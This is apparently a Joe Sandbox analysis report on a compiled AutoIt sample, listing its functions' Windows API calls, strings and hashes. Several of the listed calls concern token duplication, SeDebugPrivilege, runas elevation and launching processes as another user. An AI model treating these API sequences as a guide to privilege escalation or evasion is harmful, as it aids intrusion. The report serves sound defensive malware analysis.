                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                  • String ID: Shell_TrayWnd
                                                                                                                                                  • API String ID: 3778422247-2988720461
                                                                                                                                                  • Opcode ID: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                  • Instruction ID: 6108fbe056c1a000d5481f33e03d330ccc862392245923d3170deea12ea07584
                                                                                                                                                  • Opcode Fuzzy Hash: ec12ba9e870cc2e5dd85ad52799cb15a6745d125a488419c4f0ebb71fc1ee38e
                                                                                                                                                  • Instruction Fuzzy Hash: AC31A4712803157FE6245BA59D0EF7F3F9CEB48B51F10082EFA02EA1D1DAE458009B79
                                                                                                                                                  Function 004461ED Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 227processCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _memset.LIBCMT ref: 0044621B
                                                                                                                                                  • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,?,?,?,?,?,?,?), ref: 00446277
                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0044628A
                                                                                                                                                  • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004462A4
                                                                                                                                                  • GetProcessWindowStation.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462BD
                                                                                                                                                  • SetProcessWindowStation.USER32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004462C8
                                                                                                                                                  • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004462E4
                                                                                                                                                  • _wcslen.LIBCMT ref: 0044639E
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  • _wcsncpy.LIBCMT ref: 004463C7
                                                                                                                                                  • LoadUserProfileW.USERENV(?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 004463E7
                                                                                                                                                  • CreateEnvironmentBlock.USERENV(?,?,00000000,00000000,?,?,00000000,?,?,?,?), ref: 00446408
                                                                                                                                                  • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,00000000,?,?,00000000,?), ref: 00446446
                                                                                                                                                  • UnloadUserProfile.USERENV(?,?,?,?,?,?,?), ref: 00446483
                                                                                                                                                  • CloseWindowStation.USER32(00000000,?,?,?,?), ref: 00446497
                                                                                                                                                  • CloseDesktop.USER32(00000000,?,?,?,?), ref: 0044649E
                                                                                                                                                  • SetProcessWindowStation.USER32(?,?,?,?,?), ref: 004464A9
                                                                                                                                                  • CloseHandle.KERNEL32(?,?,?,?,?), ref: 004464B4
                                                                                                                                                  • DestroyEnvironmentBlock.USERENV(?,?,?,?,?,?), ref: 004464C8
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: StationWindow$CloseProcess$User$BlockCreateDesktopEnvironmentHandleOpenProfile$DestroyDuplicateLoadTokenUnload_malloc_memset_wcslen_wcsncpy
                                                                                                                                                  • String ID: $default$winsta0
                                                                                                                                                  • API String ID: 2173856841-1027155976
                                                                                                                                                  • Opcode ID: 60466c812311f25fb86c91292e7101a774af41f6c0f7563e11afd4658bd94aff
                                                                                                                                                  • Instruction ID: eafd5d154f9bcf2590b8f8eb1e0f3d39b01f77f2fd200ee1cb9c7344d9c52646
                                                                                                                                                  • Opcode Fuzzy Hash: 60466c812311f25fb86c91292e7101a774af41f6c0f7563e11afd4658bd94aff
                                                                                                                                                  • Instruction Fuzzy Hash: DD819170208341AFE724DF65C848B6FBBE8AF89744F04491DF69097291DBB8D805CB6B
                                                                                                                                                  Function 0044BD29 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 178filestringCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\UNGSno5k4G.exe,?,C:\Users\user\Desktop\UNGSno5k4G.exe,004A8E80,C:\Users\user\Desktop\UNGSno5k4G.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                    • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A45
                                                                                                                                                    • Part of subcall function 00436A1D: __wsplitpath.LIBCMT ref: 00436A6C
                                                                                                                                                    • Part of subcall function 00436A1D: __wcsicoll.LIBCMT ref: 00436A93
                                                                                                                                                    • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                                                                                  • _wcscat.LIBCMT ref: 0044BD96
                                                                                                                                                  • _wcscat.LIBCMT ref: 0044BDBF
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 0044BDEC
                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?), ref: 0044BE04
                                                                                                                                                  • _wcscpy.LIBCMT ref: 0044BE73
                                                                                                                                                  • _wcscat.LIBCMT ref: 0044BE85
                                                                                                                                                  • _wcscat.LIBCMT ref: 0044BE97
                                                                                                                                                  • lstrcmpiW.KERNEL32(?,?), ref: 0044BEC3
                                                                                                                                                  • DeleteFileW.KERNEL32(?), ref: 0044BED5
                                                                                                                                                  • MoveFileW.KERNEL32(?,?), ref: 0044BEF5
                                                                                                                                                  • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF0C
                                                                                                                                                  • DeleteFileW.KERNEL32(?), ref: 0044BF17
                                                                                                                                                  • CopyFileW.KERNEL32(?,?,00000000), ref: 0044BF2E
                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0044BF35
                                                                                                                                                  • MoveFileW.KERNEL32(?,?), ref: 0044BF51
                                                                                                                                                  • FindNextFileW.KERNEL32(00000000,00000010), ref: 0044BF66
                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 0044BF7E
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: File$Find_wcscat$__wsplitpath$CloseCopyDeleteMove$AttributesFirstFullNameNextPath__wcsicoll_wcscpylstrcmpi
                                                                                                                                                  • String ID: \*.*
                                                                                                                                                  • API String ID: 2188072990-1173974218
                                                                                                                                                  • Opcode ID: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                  • Instruction ID: 14f7055b3521afb04026f42b490306401b0ba37f80ed0ea0ca267746d8cc4687
                                                                                                                                                  • Opcode Fuzzy Hash: 37b83e77465c63a9a0fc5a2f65b261a2e9867c78515d1bc57cb11e6e3b171851
                                                                                                                                                  • Instruction Fuzzy Hash: CA5166B2008344AAD720DBA4DC44FDF73E8AB85314F448D1EF68982141EB79D64CCBAA
                                                                                                                                                  Function 0042039F Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 282timeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • __invoke_watson.LIBCMT ref: 004203A4
                                                                                                                                                    • Part of subcall function 00417D93: _memset.LIBCMT ref: 00417DBB
                                                                                                                                                    • Part of subcall function 00417D93: IsDebuggerPresent.KERNEL32(?,?,00000314), ref: 00417E6F
                                                                                                                                                    • Part of subcall function 00417D93: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000314), ref: 00417E79
                                                                                                                                                    • Part of subcall function 00417D93: UnhandledExceptionFilter.KERNEL32(?,?,?,00000314), ref: 00417E86
                                                                                                                                                    • Part of subcall function 00417D93: GetCurrentProcess.KERNEL32(C0000417,?,?,00000314), ref: 00417EA1
                                                                                                                                                    • Part of subcall function 00417D93: TerminateProcess.KERNEL32(00000000,?,?,00000314), ref: 00417EA8
                                                                                                                                                  • __get_daylight.LIBCMT ref: 004203B0
                                                                                                                                                  • __invoke_watson.LIBCMT ref: 004203BF
                                                                                                                                                  • __get_daylight.LIBCMT ref: 004203CB
                                                                                                                                                  • __invoke_watson.LIBCMT ref: 004203DA
                                                                                                                                                  • ____lc_codepage_func.LIBCMT ref: 004203E2
                                                                                                                                                  • _strlen.LIBCMT ref: 00420442
                                                                                                                                                  • __malloc_crt.LIBCMT ref: 00420449
                                                                                                                                                  • _strlen.LIBCMT ref: 0042045F
                                                                                                                                                  • _strcpy_s.LIBCMT ref: 0042046D
                                                                                                                                                  • __invoke_watson.LIBCMT ref: 00420482
                                                                                                                                                  • GetTimeZoneInformation.KERNEL32(00496C28), ref: 004204AA
                                                                                                                                                  • WideCharToMultiByte.KERNEL32(?,?,00496C2C,?,?,0000003F,?,?), ref: 00420528
                                                                                                                                                  • WideCharToMultiByte.KERNEL32(?,?,00496C80,000000FF,?,0000003F,?,?,?,00496C2C,?,?,0000003F,?,?), ref: 0042055C
                                                                                                                                                    • Part of subcall function 00413A88: __lock.LIBCMT ref: 00413AA6
                                                                                                                                                    • Part of subcall function 00413A88: ___sbh_find_block.LIBCMT ref: 00413AB1
                                                                                                                                                    • Part of subcall function 00413A88: ___sbh_free_block.LIBCMT ref: 00413AC0
                                                                                                                                                    • Part of subcall function 00413A88: RtlFreeHeap.NTDLL(00000000,00411739,0048C758,0000000C,004183E8,00000000,0048CA38,0000000C,00418422,00411739,?,?,004224D3,00000004,0048CCA0,0000000C), ref: 00413AF0
                                                                                                                                                    • Part of subcall function 00413A88: GetLastError.KERNEL32(?,004224D3,00000004,0048CCA0,0000000C,00417011,00411739,?,00000000,00000000,00000000,?,00416C24,00000001,00000214), ref: 00413B01
                                                                                                                                                  • __invoke_watson.LIBCMT ref: 004205CC
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: __invoke_watson$ByteCharExceptionFilterMultiProcessUnhandledWide__get_daylight_strlen$CurrentDebuggerErrorFreeHeapInformationLastPresentTerminateTimeZone____lc_codepage_func___sbh_find_block___sbh_free_block__lock__malloc_crt_memset_strcpy_s
                                                                                                                                                  • String ID: S\
                                                                                                                                                  • API String ID: 4084823496-393906132
                                                                                                                                                  • Opcode ID: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                                                                                                                                                  • Instruction ID: b357f19af7064e56bcdb8625987f67de7edc2332d57e558cb2e7b84f91b73af7
                                                                                                                                                  • Opcode Fuzzy Hash: dc5610741a0148f7786b6b9dfa96f50a6ae589fbdbcd52e429fe3139d0279a48
                                                                                                                                                  • Instruction Fuzzy Hash: 6A91D371E00125AFDB20EF65EC819AE7BE9EF55300B95003BF540A7253DA3C89828F5C
                                                                                                                                                  Function 00434D50 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 114fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                                                                                                  • __swprintf.LIBCMT ref: 00434D91
                                                                                                                                                  • _wcslen.LIBCMT ref: 00434D9B
                                                                                                                                                  • _wcslen.LIBCMT ref: 00434DB0
                                                                                                                                                  • _wcslen.LIBCMT ref: 00434DC5
                                                                                                                                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                                                                                                  • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                                                                                                  • _memset.LIBCMT ref: 00434E27
                                                                                                                                                  • _wcslen.LIBCMT ref: 00434E3C
                                                                                                                                                  • _wcsncpy.LIBCMT ref: 00434E6F
                                                                                                                                                  • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                                                                                                  • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                                                                                  • String ID: :$\$\??\%s
                                                                                                                                                  • API String ID: 302090198-3457252023
                                                                                                                                                  • Opcode ID: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                  • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                                                                                                  • Opcode Fuzzy Hash: 1623bec2b974bb3ee5261838648fb58b2a9d6db5aa255760d49714c370e47f4e
                                                                                                                                                  • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                                                                                                  Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                                                                                                  • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                                                                                                  • GetLastError.KERNEL32 ref: 004644B4
                                                                                                                                                  • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                                                                                                  • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                                                                                                  • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                                                                                                  • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                                                                                                  • String ID: SeDebugPrivilege
                                                                                                                                                  • API String ID: 1312810259-2896544425
                                                                                                                                                  • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                  • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                                                                                                  • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                  • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                                                                                                  Function 0040D6D0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 141windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • GetCurrentDirectoryW.KERNEL32(00000104,?,00000001,?,00000000), ref: 0040D6E5
                                                                                                                                                    • Part of subcall function 00401F80: GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\UNGSno5k4G.exe,00000104,?,?,?,?,00000000), ref: 00401FAD
                                                                                                                                                    • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 00402078
                                                                                                                                                    • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 0040208E
                                                                                                                                                    • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020A4
                                                                                                                                                    • Part of subcall function 00401F80: __wcsicoll.LIBCMT ref: 004020BA
                                                                                                                                                    • Part of subcall function 00401F80: _wcscpy.LIBCMT ref: 004020EF
                                                                                                                                                  • IsDebuggerPresent.KERNEL32(?), ref: 0040D6F1
                                                                                                                                                  • GetFullPathNameW.KERNEL32(C:\Users\user\Desktop\UNGSno5k4G.exe,00000104,?,004A7CF8,004A7CFC), ref: 0040D763
                                                                                                                                                    • Part of subcall function 00401440: GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 00401483
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(?,00000001,C:\Users\user\Desktop\UNGSno5k4G.exe,00000004), ref: 0040D7D6
                                                                                                                                                  • MessageBoxA.USER32(00000000,This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.,004846D6,00000010), ref: 00431AAB
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(?,C:\Users\user\Desktop\UNGSno5k4G.exe,00000004), ref: 00431B0E
                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104,C:\Users\user\Desktop\UNGSno5k4G.exe,00000004), ref: 00431B3F
                                                                                                                                                  • GetForegroundWindow.USER32(runas,?,?,?,00000001), ref: 00431B8B
                                                                                                                                                  • ShellExecuteW.SHELL32(00000000), ref: 00431B92
                                                                                                                                                    • Part of subcall function 004101F0: GetSysColorBrush.USER32(0000000F), ref: 004101F9
                                                                                                                                                    • Part of subcall function 004101F0: LoadCursorW.USER32(00000000,00007F00), ref: 00410209
                                                                                                                                                    • Part of subcall function 004101F0: LoadIconW.USER32(?,00000063), ref: 0041021F
                                                                                                                                                    • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A4), ref: 00410232
                                                                                                                                                    • Part of subcall function 004101F0: LoadIconW.USER32(?,000000A2), ref: 00410245
                                                                                                                                                    • Part of subcall function 004101F0: LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041026A
                                                                                                                                                    • Part of subcall function 004101F0: RegisterClassExW.USER32 ref: 004102C6
                                                                                                                                                    • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 00410415
                                                                                                                                                    • Part of subcall function 004103E0: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 0041043E
                                                                                                                                                    • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 00410454
                                                                                                                                                    • Part of subcall function 004103E0: ShowWindow.USER32(?,00000000), ref: 0041045E
                                                                                                                                                    • Part of subcall function 0040E1E0: _memset.LIBCMT ref: 0040E202
                                                                                                                                                    • Part of subcall function 0040E1E0: Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E2C7
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: LoadWindow$IconName__wcsicoll$CurrentDirectory$CreateFileFullModulePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memset_wcscpy
                                                                                                                                                  • String ID: @GH$@GH$C:\Users\user\Desktop\UNGSno5k4G.exe$This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support.$runas
                                                                                                                                                  • API String ID: 2493088469-3906715444
                                                                                                                                                  • Opcode ID: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                                                                                                  • Instruction ID: f6e0ab4c143dd9a1f797559286fb6c41f0380d60009eb7dc722615656bf0e84e
                                                                                                                                                  • Opcode Fuzzy Hash: 69cfb0be49d24e5250ef6e64c59b5ea2b0a961f7c54b5140d3e7fdea8d41d4c7
                                                                                                                                                  • Instruction Fuzzy Hash: 0341F731618341ABD320F7A19C49BAF3BA4AB96704F04493FF941672D1DBBC9949C72E
                                                                                                                                                  Function 004037E0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 359COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                  • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                                                                                                  • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 004038B2
                                                                                                                                                    • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                  • _wcscpy.LIBCMT ref: 004038C7
                                                                                                                                                  • _wcscat.LIBCMT ref: 004038DC
                                                                                                                                                  • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                    • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                    • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                                                                                                    • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                                                                                                  • _wcscpy.LIBCMT ref: 004039C2
                                                                                                                                                  • _wcslen.LIBCMT ref: 00403A53
                                                                                                                                                  • _wcslen.LIBCMT ref: 00403AAA
                                                                                                                                                  Strings
                                                                                                                                                  • Error opening the file, xrefs: 0042B8AC
                                                                                                                                                  • Unterminated string, xrefs: 0042B9BA
                                                                                                                                                  • _, xrefs: 00403B48
                                                                                                                                                  • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                  • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                                                                                                  • API String ID: 4115725249-188983378
                                                                                                                                                  • Opcode ID: 3d47019ae40ddf295a6fa6cd32c8ae21ab53d4334480ddcc4f0e34d1fe96fec4
                                                                                                                                                  • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                                                                                                  • Opcode Fuzzy Hash: 3d47019ae40ddf295a6fa6cd32c8ae21ab53d4334480ddcc4f0e34d1fe96fec4
                                                                                                                                                  • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                                                                                                  Function 00434BEE Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 139fileCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?), ref: 00434C12
                                                                                                                                                  • GetFileAttributesW.KERNEL32(?), ref: 00434C4F
                                                                                                                                                  • SetFileAttributesW.KERNEL32(?,?), ref: 00434C65
